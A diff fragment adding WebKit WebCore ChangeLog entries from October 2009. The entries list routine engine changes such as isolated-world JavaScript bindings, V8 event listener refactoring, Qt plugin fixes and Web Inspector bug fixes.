+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::executeScriptInIsolatedWorld):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::mainThreadNormalWorld):
+        * bindings/v8/ScriptController.h:
+        (WebCore::ScriptController::windowShell):
+        (WebCore::ScriptController::existingWindowShell):
+        * dom/Document.cpp:
+        (WebCore::Document::createWrapperCache):
+        * dom/ScriptExecutionContext.cpp:
+        * dom/ScriptExecutionContext.h:
+        * xml/XMLHttpRequest.cpp:
+        * xml/XMLHttpRequest.h:
+
+2009-10-23  Xiaomei Ji  <xji@chromium.org>
+
+        Reviewed by Sam Weinig.
+
+        Fix caretRangeFromPoint()/elementFromPoint() returns wrong result 
+        for a zoomed and scrolled page.
+        https://bugs.webkit.org/show_bug.cgi?id=30689.
+
+        The real cause is the wrong calculation of event.clientX/Y when
+        page is zoomed and scolled.
+        After Sam fixed the event.clientX/Y in r49551, the hit test point
+        should be recalculated (revert r49490).
+
+        Test: fast/dom/Document/CaretRangeFromPoint/caretRangeFromPoint-in-zoom-and-scroll.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::elementFromPoint): calculate the correct point
+        relative to document when page is zoomed and scrolled.
+        (WebCore::Document::caretRangeFromPoint): calculate the correct point
+        relative to document when page is zoomed and scrolled.
+
+2009-10-22  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Adding a class that allows us to enable/disable features at
+        runtime. Adding a flag to enable database support.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30653
+
+        * WebCore.gypi:
+        * bindings/v8/RuntimeEnabledFeatures.cpp: Added.
+        * bindings/v8/RuntimeEnabledFeatures.h: Added.
+        (WebCore::RuntimeEnabledFeatures::setDatabaseEnabled):
+        (WebCore::RuntimeEnabledFeatures::databaseEnabled):
+        (WebCore::RuntimeEnabledFeatures::RuntimeEnabledFeatures):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * page/DOMWindow.idl:
+
+2009-10-23  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector injects _inspectorCommandLineAPI into global object when opened
+        https://bugs.webkit.org/show_bug.cgi?id=30675
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.getCompletions):
+        (InjectedScript._evaluateOn):
+        (InjectedScript.addInspectedNode):
+        (InjectedScript._ensureCommandLineAPIInstalled): Moved _inspectorCommandLineAPI from window to console.
+
+2009-10-23  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] don't undef NULL in Symbian emulator
+
+        npapi.h way of defining mwerks compiler,__intel__
+        and win32 are all true for Symbian emulator.
+        Changed the definions so that NULL won't be undefined
+        when compiling for Symbian emulator nor target HW.
+
+        * bridge/npapi.h:
+
+2009-10-23  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Correct linking of sqlite3 for Symbian
+        https://bugs.webkit.org/show_bug.cgi?id=30569
+
+        ".lib" will try to include library as static library
+        causing the library to be searched from wrong directory and if found
+        will be statically linked instead of the inteded dynamic linking.
+
+        * WebCore.pro:
+
+2009-10-23  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        REGRESSION: Copy is copying incorrect background-color
+        <rdar://problem/7248529>
+        https://bugs.webkit.org/show_bug.cgi?id=29697
+
+        Test: editing/execCommand/indent-paragraphs.html
+
+        This change removes the BackgroundColor from the list 
+        of inheritable CSS properties and changes significantly
+        the way we perform indentation.
+        The new implementation of IndentOutdentCommand uses a new method
+        defined in CompositeEditCommand called moveParagraphWithClones.
+        This is an improved version of the original moveParagraph that
+        is aimed at preserving the original markup of the paragraph being
+        moved.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::): removed CSSPropertyBackgroundColor from editingStyleProperties.
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::CompositeEditCommand): Removed trailing blanks.
+        (WebCore::CompositeEditCommand::rebalanceWhitespaceAt): Removed trailing blanks.
+        (WebCore::CompositeEditCommand::cloneParagraphUnderNewElement): Added.
+        (WebCore::CompositeEditCommand::cleanupAfterDeletion): Added.
+        (WebCore::CompositeEditCommand::moveParagraphWithClones): Added.
+        (WebCore::CompositeEditCommand::moveParagraphs): Modified to use cleanupAfterDeletion.
+        (WebCore::CompositeEditCommand::breakOutOfEmptyListItem): Removed trailing blanks.
+        (WebCore::CompositeEditCommand::breakOutOfEmptyMailBlockquotedParagraph): Removed trailing blanks.
+        (WebCore::CompositeEditCommand::positionAvoidingSpecialElementBoundary): Removed trailing blanks.
+        * editing/CompositeEditCommand.h: Added three new methods.
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::IndentOutdentCommand::tryIndentingAsListItem): Changed to use moveParagraphWithClones.
+        (WebCore::IndentOutdentCommand::indentIntoBlockquote): Changed to use moveParagraphWithClones.
+        (WebCore::IndentOutdentCommand::indentRegion): Removed comment.
+        * editing/IndentOutdentCommand.h: Removed prepareBlockquoteLevelForInsertion method.
+
+2009-10-23  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Adds missing UnusedParam.h includes, required when INSPECTOR is not enabled.
+        https://bugs.webkit.org/show_bug.cgi?id=30677
+
+        Build fix, no new tests required.
+
+        * page/Console.cpp: Modified. Added UnusedParam.h include.
+        * workers/WorkerContext.cpp: Modified. Added UnusedParam.h include.
+
+2009-10-23  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] Plugins : Use window's winId() instead of the widget's.
+
+        As per, https://developer.mozilla.org/en/NPN_GetValue
+        NPNVnetscapeWindow on Unix/X11: "Gets the browser toplevel window in which the
+        plug-in is displayed; returns Window".
+
+        The issue was found because NPNVNetscapeWindow winId() ends up creating
+        a native window resulting in flicker.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30706
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::getValue):
+
+2009-10-23  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] Windowless Plugins : Don't use m_clipRect when painting.
+
+        Though it works, it is not correct to use m_clipRect for painting
+        in Windowless mode. Instead, the rect paramater that is passed
+        as a part of PluginView::paint() must be used. This change will
+        also result in some speedup since previously we used to paint all
+        the visible parts of a windowless plugin (even if those parts were
+        not dirty).
+
+        Also, fix invalidateRect() to compute the correct width and height.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30711
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::paint):
+        (WebCore::PluginView::invalidateRect):
+
+2009-10-21  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Holger Freyther.
+
+        Plugins : Use test.swf in the plugins manual tests.
+
+        They previously referenced youtube videos which among other things are
+        cumbersome to use without internet connection. The old youtube link is
+        just commented out so that testing with youtube can be done with
+        little effort.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30662
+
+        * manual-tests/plugins/test.swf: Copied from LayoutTests/fast/replaced/resources/test.swf.
+        * manual-tests/plugins/windowed.html:
+        * manual-tests/plugins/windowless.html:
+        * manual-tests/qt/plugin-sibling-frame-include.html:
+
+2009-10-23  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        Fix the Windows Release build by moving Accessibility files
+        into all-in-one file and excluding them from the build.
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * accessibility/AccessibilityAllInOne.cpp: Added.
+
+2009-10-16  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig & Geoff Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30696
+        Add support for IsolatedWorlds to JSC bindings.
+
+        An IsolatedWorld is basically a parallel, separate copy of the window shells and DOM wrapper objects for
+        a given document.  To support isolation this patch:
+
+            * Adds support to the ScriptController to track multiple window shells, one per world.
+            * Adds support to Document to support multiple separate wrapper-maps, one per world.
+            * Replaces the single global DOM wrapper map (on the WebCoreJSClientData) with separate maps,
+              stored on the (new) IsolatedWorld objects.
+
+        In addition to supporting separate copies of these objects, two other features are supported:
+
+            * It is necessary to track the current world on entry into JSC, so that within callbacks out to WebCore
+              we can determine which world (and as such, set of DOM bindings) we should be operating on.
+            * EventListeners & Callbacks are run in the world they were registered in.
+              This requires the handler to retain a reference to the world.
+
+        No new tests. (Enabled existing isolated world layout tests.)
+
+        * WebCore.base.exp:
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        (WebCore::JSAbstractWorker::addEventListener):
+        (WebCore::JSAbstractWorker::removeEventListener):
+        * bindings/js/JSCallbackData.cpp:
+        (WebCore::JSCallbackData::invokeCallback):
+        * bindings/js/JSCallbackData.h:
+        (WebCore::JSCallbackData::JSCallbackData):
+        * bindings/js/JSCustomXPathNSResolver.cpp:
+        (WebCore::JSCustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/js/JSDOMApplicationCacheCustom.cpp:
+        (WebCore::JSDOMApplicationCache::addEventListener):
+        (WebCore::JSDOMApplicationCache::removeEventListener):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::removeWrappers):
+        (WebCore::DOMObjectWrapperMap::get):
+        (WebCore::DOMObjectWrapperMap::set):
+        (WebCore::DOMObjectWrapperMap::remove):
+        (WebCore::DOMObjectWrapperMap::take):
+        (WebCore::IsolatedWorld::IsolatedWorld):
+        (WebCore::IsolatedWorld::~IsolatedWorld):
+        (WebCore::EnterIsolatedWorld::EnterIsolatedWorld):
+        (WebCore::EnterIsolatedWorld::~EnterIsolatedWorld):
+        (WebCore::JSGlobalDataWorldIterator::JSGlobalDataWorldIterator):
+        (WebCore::JSGlobalDataWorldIterator::operator bool):
+        (WebCore::JSGlobalDataWorldIterator::operator*):
+        (WebCore::JSGlobalDataWorldIterator::operator->):
+        (WebCore::JSGlobalDataWorldIterator::operator++):
+        (WebCore::getCurrentWorld):
+        (WebCore::getNormalWorld):
+        (WebCore::commonNormalWorld):
+        (WebCore::commonCurrentWorld):
+        (WebCore::DOMObjectHashTableMap::mapFor):
+        (WebCore::DOMObjectWrapperMap::mapFor):
+        (WebCore::forgetDOMObject):
+        (WebCore::getCachedDOMNodeWrapper):
+        (WebCore::forgetDOMNode):
+        (WebCore::cacheDOMNodeWrapper):
+        (WebCore::forgetAllDOMNodesForDocument):
+        (WebCore::forgetWorldOfDOMNodesForDocument):
+        (WebCore::isObservableThroughDOM):
+        (WebCore::markDOMNodesForDocument):
+        (WebCore::markActiveObjectsForContext):
+        (WebCore::takeWrappers):
+        (WebCore::updateDOMNodeDocument):
+        (WebCore::markDOMObjectWrapper):
+        (WebCore::allowsAccessFromFrame):
+        (WebCore::printErrorMessageForFrame):
+        (WebCore::JSC_DebuggerCallFrame_evaluateInWorld):
+        (WebCore::JSC_callInWorld):
+        (WebCore::JSC_constructInWorld):
+        (WebCore::JSC_evaluateInWorld):
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::IsolatedWorld::rememberDocument):
+        (WebCore::IsolatedWorld::forgetDocument):
+        (WebCore::IsolatedWorld::rememberScriptController):
+        (WebCore::IsolatedWorld::forgetScriptController):
+        (WebCore::DOMObjectHashTableMap::~DOMObjectHashTableMap):
+        (WebCore::DOMObjectHashTableMap::get):
+        (WebCore::WebCoreJSClientData::WebCoreJSClientData):
+        (WebCore::WebCoreJSClientData::currentWorld):
+        (WebCore::WebCoreJSClientData::normalWorld):
+        (WebCore::WebCoreJSClientData::rememberWorld):
+        (WebCore::WebCoreJSClientData::forgetWorld):
+        (WebCore::debuggerWorld):
+        (WebCore::pluginWorld):
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::JSDOMGlobalObject::createJSAttributeEventListener):
+        (WebCore::toJSDOMGlobalObject):
+        * bindings/js/JSDOMGlobalObject.h:
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::printErrorMessage):
+        (WebCore::JSDOMWindowBase::commonJSGlobalData):
+        (WebCore::toJS):
+        (WebCore::toJSDOMWindow):
+        * bindings/js/JSDOMWindowBase.h:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::createWindow):
+        (WebCore::JSDOMWindow::open):
+        (WebCore::JSDOMWindow::showModalDialog):
+        (WebCore::JSDOMWindow::setTimeout):
+        (WebCore::JSDOMWindow::setInterval):
+        (WebCore::JSDOMWindow::addEventListener):
+        (WebCore::JSDOMWindow::removeEventListener):
+        * bindings/js/JSDOMWindowShell.cpp:
+        (WebCore::toJS):
+        (WebCore::toJSDOMWindowShell):
+        * bindings/js/JSDOMWindowShell.h:
+        * bindings/js/JSDesktopNotificationsCustom.cpp:
+        (WebCore::JSNotification::addEventListener):
+        (WebCore::):
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::JSEventListener):
+        (WebCore::JSEventListener::handleEvent):
+        (WebCore::JSEventListener::reportError):
+        * bindings/js/JSEventListener.h:
+        (WebCore::JSEventListener::create):
+        * bindings/js/JSEventSourceCustom.cpp:
+        (WebCore::JSEventSource::addEventListener):
+        (WebCore::JSEventSource::removeEventListener):
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSHTMLDocumentCustom.cpp:
+        (WebCore::JSHTMLDocument::open):
+        * bindings/js/JSHTMLFrameSetElementCustom.cpp:
+        (WebCore::JSHTMLFrameSetElement::nameGetter):
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        (WebCore::JSInspectorBackend::databaseForId):
+        (WebCore::JSInspectorBackend::inspectedWindow):
+        (WebCore::JSInspectorBackend::nodeForId):
+        * bindings/js/JSLazyEventListener.cpp:
+        (WebCore::JSLazyEventListener::JSLazyEventListener):
+        (WebCore::JSLazyEventListener::parseCode):
+        * bindings/js/JSLazyEventListener.h:
+        (WebCore::JSLazyEventListener::create):
+        * bindings/js/JSMessageChannelCustom.cpp:
+        (WebCore::JSMessageChannel::markChildren):
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::markChildren):
+        (WebCore::JSMessagePort::addEventListener):
+        (WebCore::JSMessagePort::removeEventListener):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::addEventListener):
+        (WebCore::JSNode::removeEventListener):
+        (WebCore::JSNode::markChildren):
+        * bindings/js/JSNodeFilterCondition.cpp:
+        (WebCore::JSNodeFilterCondition::acceptNode):
+        * bindings/js/JSQuarantinedObjectWrapper.cpp:
+        (WebCore::JSQuarantinedObjectWrapper::construct):
+        (WebCore::JSQuarantinedObjectWrapper::call):
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::addEventListener):
+        (WebCore::JSSVGElementInstance::removeEventListener):
+        * bindings/js/JSSharedWorkerCustom.cpp:
+        (WebCore::JSSharedWorker::markChildren):
+        * bindings/js/JSWebSocketCustom.cpp:
+        (WebCore::JSWebSocket::addEventListener):
+        (WebCore::JSWebSocket::removeEventListener):
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::addEventListener):
+        (WebCore::JSWorkerContext::removeEventListener):
+        (WebCore::JSWorkerContext::setTimeout):
+        (WebCore::JSWorkerContext::setInterval):
+        * bindings/js/JSXMLHttpRequestConstructor.cpp:
+        (WebCore::constructXMLHttpRequest):
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::markChildren):
+        (WebCore::JSXMLHttpRequest::addEventListener):
+        (WebCore::JSXMLHttpRequest::removeEventListener):
+        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
+        (WebCore::JSXMLHttpRequestUpload::markChildren):
+        (WebCore::JSXMLHttpRequestUpload::addEventListener):
+        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
+        * bindings/js/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::create):
+        (WebCore::ScheduledAction::ScheduledAction):
+        (WebCore::ScheduledAction::executeFunctionInContext):
+        (WebCore::ScheduledAction::execute):
+        * bindings/js/ScheduledAction.h:
+        (WebCore::ScheduledAction::ScheduledAction):
+        * bindings/js/ScriptCachedFrameData.cpp:
+        (WebCore::ScriptCachedFrameData::ScriptCachedFrameData):
+        (WebCore::ScriptCachedFrameData::restore):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::~ScriptController):
+        (WebCore::ScriptController::evaluateInWorld):
+        (WebCore::ScriptController::evaluate):
+        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        (WebCore::ScriptController::clearWindowShell):
+        (WebCore::ScriptController::initScript):
+        (WebCore::ScriptController::processingUserGestureEvent):
+        (WebCore::ScriptController::attachDebugger):
+        (WebCore::ScriptController::updateDocument):
+        (WebCore::ScriptController::bindingRootObject):
+        (WebCore::ScriptController::createRootObject):
+        (WebCore::ScriptController::windowScriptNPObject):
+        (WebCore::ScriptController::jsObjectForPluginElement):
+        * bindings/js/ScriptController.h:
+        (WebCore::ScriptController::windowShell):
+        (WebCore::ScriptController::existingWindowShell):
+        (WebCore::ScriptController::globalObject):
+        (WebCore::ScriptController::forgetWorld):
+        * bindings/js/ScriptControllerMac.mm:
+        (WebCore::ScriptController::windowScriptObject):
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
+        * bindings/js/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::call):
+        (WebCore::ScriptFunctionCall::construct):
+        * bindings/js/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/js/ScriptState.cpp:
+        (WebCore::scriptStateFromNode):
+        (WebCore::scriptStateFromPage):
+        * bindings/js/ScriptState.h:
+        * bindings/js/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::WorkerScriptController):
+        (WebCore::WorkerScriptController::evaluate):
+        * bindings/objc/DOMInternal.mm:
+        (-[WebScriptObject _initializeScriptDOMNodeImp]):
+        * bindings/objc/WebScriptObject.mm:
+        (-[WebScriptObject callWebScriptMethod:withArguments:]):
+        (-[WebScriptObject evaluateWebScript:]):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/NP_jsobject.cpp:
+        (_NPN_InvokeDefault):
+        (_NPN_Invoke):
+        (_NPN_Evaluate):
+        (_NPN_Construct):
+        * bridge/jni/jni_jsobject.mm:
+        (JavaJSObject::call):
+        (JavaJSObject::eval):
+        * dom/Document.cpp:
+        (WebCore::Document::createWrapperCache):
+        * dom/Document.h:
+        (WebCore::Document::wrapperCacheMap):
+        (WebCore::Document::getWrapperCache):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::startUserInitiatedProfiling):
+        (WebCore::InspectorController::stopUserInitiatedProfiling):
+        * inspector/JavaScriptCallFrame.cpp:
+        (WebCore::JavaScriptCallFrame::evaluate):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::dispatchWindowObjectAvailable):
+        * platform/network/mac/AuthenticationMac.mm:
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::XMLHttpRequest):
+        (WebCore::XMLHttpRequest::dropProtection):
+        * xml/XMLHttpRequest.h:
+        (WebCore::XMLHttpRequest::create):
+
+2009-10-22  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: EventListenersSidebarPane TODO No Longer Needed
+        https://bugs.webkit.org/show_bug.cgi?id=30705
+
+        * inspector/front-end/EventListenersSidebarPane.js:
+
+2009-10-22  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30506
+        <rdar://problem/7319845> Resources that the server sent as 304 not modified are not shown
+        in the inspectors resource pane
+
+        I don't know how to make a test for this.
+
+        The issue here was that preloaded resources weren't added to DocLoader document resource set,
+        but Web Inspector asked DocLoader to fetch data from CachedResource. Even when (if) document
+        parser eventually requested the same resource for real and it got added to resource set, it
+        was too late - the Inspector wasn't updated.
+
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::cachedResource):
+        (WebCore::InspectorResource::type):
+        (WebCore::InspectorResource::resourceData):
+        * inspector/InspectorResource.h:
+        Fix the issue by trying to fetch corresponding CachedResource harder - also look in global
+        cache. This seems safe, and easier than updating the Inspector on transitions between
+        resource states (revalidate vs. revalidate done and preload vs. non-preload).
+
+2009-10-22  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for <rdar://problem/6942706> ER: Add a CSS property that allows 
+        shadows to work for SVG content
+        -and corresponding-
+        https://bugs.webkit.org/show_bug.cgi?id=30479
+
+        This patch adds a new SVG-specific CSS property called -webkit-
+        shadow that has the same syntax as -webkit-box-shadow
+
+        Add CSSPropertyWebkitShadow to the list of SVG CSS properties, and 
+        make valueForShadow a member function rather than a static function 
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        (WebCore::CSSComputedStyleDeclaration::valueForShadow):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * css/CSSComputedStyleDeclaration.h:
+
+        Call valueForShadow for CSSPropertyWebkitShadow
+        * css/SVGCSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::getSVGPropertyCSSValue):
+
+        Do standard CSS stuff for CSSPropertyWebkitShadow
+        * css/SVGCSSParser.cpp:
+        (WebCore::CSSParser::parseSVGValue):
+        * css/SVGCSSPropertyNames.in:
+        * css/SVGCSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applySVGProperty):
+
+        Set the appropriate shadow on the paint context if we have one. 
+        This seems to be all we have to do to have an SVG-shaped shadow.
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+
+        Add shadow to SVGRenderStyle. I added a new macro that I don't like 
+        just because that's the way things are done here right now.
+        * rendering/style/SVGRenderStyle.cpp:
+        (WebCore::SVGRenderStyle::SVGRenderStyle):
+        (WebCore::SVGRenderStyle::operator==):
+        * rendering/style/SVGRenderStyle.h:
+        * rendering/style/SVGRenderStyleDefs.cpp:
+        (StyleShadowSVGData::StyleShadowSVGData):
+        (StyleShadowSVGData::operator==):
+        * rendering/style/SVGRenderStyleDefs.h:
+        (WebCore::StyleShadowSVGData::create):
+        (WebCore::StyleShadowSVGData::copy):
+        (WebCore::StyleShadowSVGData::operator!=):
+
+2009-10-22  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+ 
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25530
+        [Gtk] Implement LABEL_FOR/LABELLED_BY relationship pair for labels
+
+        Implements atk_object_ref_relation_set and LABEL_FOR/LABELLED_BY.
+        Also causes the accessible name for labeled controls to be based on
+        the label as expected, rather than based on the contents.
+
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        (correspondingLabelForControlElement):
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (setAtkRelationSetFromCoreObject):
+        (webkit_accessible_ref_relation_set):
+        (webkit_accessible_class_init):
+        (webkit_accessible_get_name):
+
+2009-10-22  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: windowFocused and windowBlured Fail to Clear/Mark Inspector as "inactive"
+        https://bugs.webkit.org/show_bug.cgi?id=30663
+
+          Correctly handle focusing/blurring on inner <iframe>'s such as Source Frames.
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.windowFocused): fix for inner iframes
+        (WebInspector.windowBlurred): fix for inner iframes
+        (WebInspector.addMainEventListeners): change useCapture to false
+
+2009-10-22  Jaime Yap  <jaimeyap@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Makes a page reload optional when activating resource monitoring in
+        InspectorController. It leaves the default behavior as performing the reload.
+        Reload is an optional param so callsites do not have to change.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30684
+
+        No new tests added.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::enableResourceTracking):
+        * inspector/InspectorController.h:
+
+2009-10-22  Shu Chang  <Chang.Shu@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Fix memory leak in QNetworkReplyHandler::abort().
+        In QNetworkReplyHandler::release(), m_reply should no longer point to its parent
+        after being released.
+        https://bugs.webkit.org/show_bug.cgi?id=30167
+
+        No layout test available as a non-functional fix.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::abort):
+        (WebCore::QNetworkReplyHandler::release):
+
+2009-10-22  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Fix DOMAgent leak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30615
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::~InspectorController):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::releaseDOMAgent):
+        * inspector/InspectorController.h:
+        * inspector/InspectorDOMAgent.h:
+        (WebCore::InspectorDOMAgent::create):
+
+2009-10-22  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Rework event listeners to not hold references to frame or V8 context.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30648
+
+        Covered by existing layout tests: fast/events/attribute-listener*
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added passing ScriptExecutionContext*
+            to event listener handling code.
+        * bindings/v8/DateExtension.cpp:
+        (WebCore::DateExtension::setAllowSleep): Changed to use currentContext().
+        * bindings/v8/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener): Reworked to match JSC logic.
+        (WebCore::getEventListenerHandlerBody): Added ScriptExecutionContext* param.
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::V8AbstractEventListener): Removed Frame* param
+            and usage.
+        (WebCore::V8AbstractEventListener::handleEvent): Chaged to use ScriptExecutionContext*.
+        (WebCore::V8AbstractEventListener::invokeEventHandler): Ditto.
+        * bindings/v8/V8AbstractEventListener.h:
+        (WebCore::V8AbstractEventListener::getListenerObject): Ditto.
+        (WebCore::V8AbstractEventListener::prepareListenerObject): Ditto.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertEventListenerToV8Object):  Added ScriptExecutionContext* param.
+        (WebCore::V8DOMWrapper::getEventListener): Ditto.
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::convertEventListenerToV8Object): Ditto.
+        * bindings/v8/V8EventListenerList.h:
+        (WebCore::V8EventListenerList::findOrCreateWrapper): Removed ContextType* template param,
+            because it's no longer needed.
+        * bindings/v8/V8IsolatedWorld.h:
+        (WebCore::V8IsolatedWorld::sharedContext): Renamed from shared_context.
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::V8LazyEventListener): Removed Frame* param and usage.
+        (WebCore::V8LazyEventListener::callListenerFunction): Added ScriptExecutionContext* param.
+        (WebCore::V8LazyEventListener::prepareListenerObject): Ditto.
+        * bindings/v8/V8LazyEventListener.h:
+        (WebCore::V8LazyEventListener::create): Reordered params to match JSC impl.
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::V8Proxy): Adjusted formatting to match WebKit style.
+        (WebCore::V8Proxy::evaluateInNewContext): Changed to use m_context directly.
+        (WebCore::V8Proxy::setInjectedScriptContextDebugId): Ditto.
+        (WebCore::V8Proxy::createWrapperFromCacheSlowCase): Ditto.
+        (WebCore::V8Proxy::isContextInitialized): Ditto.
+        (WebCore::V8Proxy::updateDocumentWrapperCache): Ditto.
+        (WebCore::V8Proxy::clearDocumentWrapperCache): Ditto.
+        (WebCore::V8Proxy::disposeContextHandles): Added explicit disposing of m_context. 
+        (WebCore::V8Proxy::clearForClose): Changed to use m_context directly.
+        (WebCore::V8Proxy::clearForNavigation): Ditto.
+        (WebCore::V8Proxy::setSecurityToken): Ditto.
+        (WebCore::V8Proxy::updateDocument): Ditto.
+        (WebCore::V8Proxy::initContextIfNeeded): Ditto.
+        (WebCore::V8Proxy::context): Changed to use v8::Local.
+        (WebCore::V8Proxy::mainWorldContext): Changed to use m_context directly. 
+        (WebCore::V8Proxy::setContextDebugId): Ditto.
+        (WebCore::toV8Context):
+        * bindings/v8/V8Proxy.h: Removed shared_context decl, changed to use straight
+            v8::Persistent for m_context.
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::workerProxy): Added.
+        (WebCore::V8WorkerContextEventListener::V8WorkerContextEventListener): Removed
+            WorkerContextExecutionProxy* param.
+        (WebCore::V8WorkerContextEventListener::handleEvent): Started using ScriptExecutionContext*.
+        (WebCore::V8WorkerContextEventListener::reportError): Ditto.
+        (WebCore::V8WorkerContextEventListener::callListenerFunction): Ditto.
+        (WebCore::V8WorkerContextEventListener::getReceiverObject): Ditto.
+        * bindings/v8/V8WorkerContextEventListener.h:
+        (WebCore::V8WorkerContextEventListener::create): Removed
+            WorkerContextExecutionProxy* param.
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::findOrCreateEventListener): Removed ContextType*
+            template param.
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::V8EventListener): Removed Frame* param.
+        (WebCore::V8EventListener::getListenerFunction): Started using ScriptExecutionContext*.
+        (WebCore::V8EventListener::callListenerFunction): Ditto.
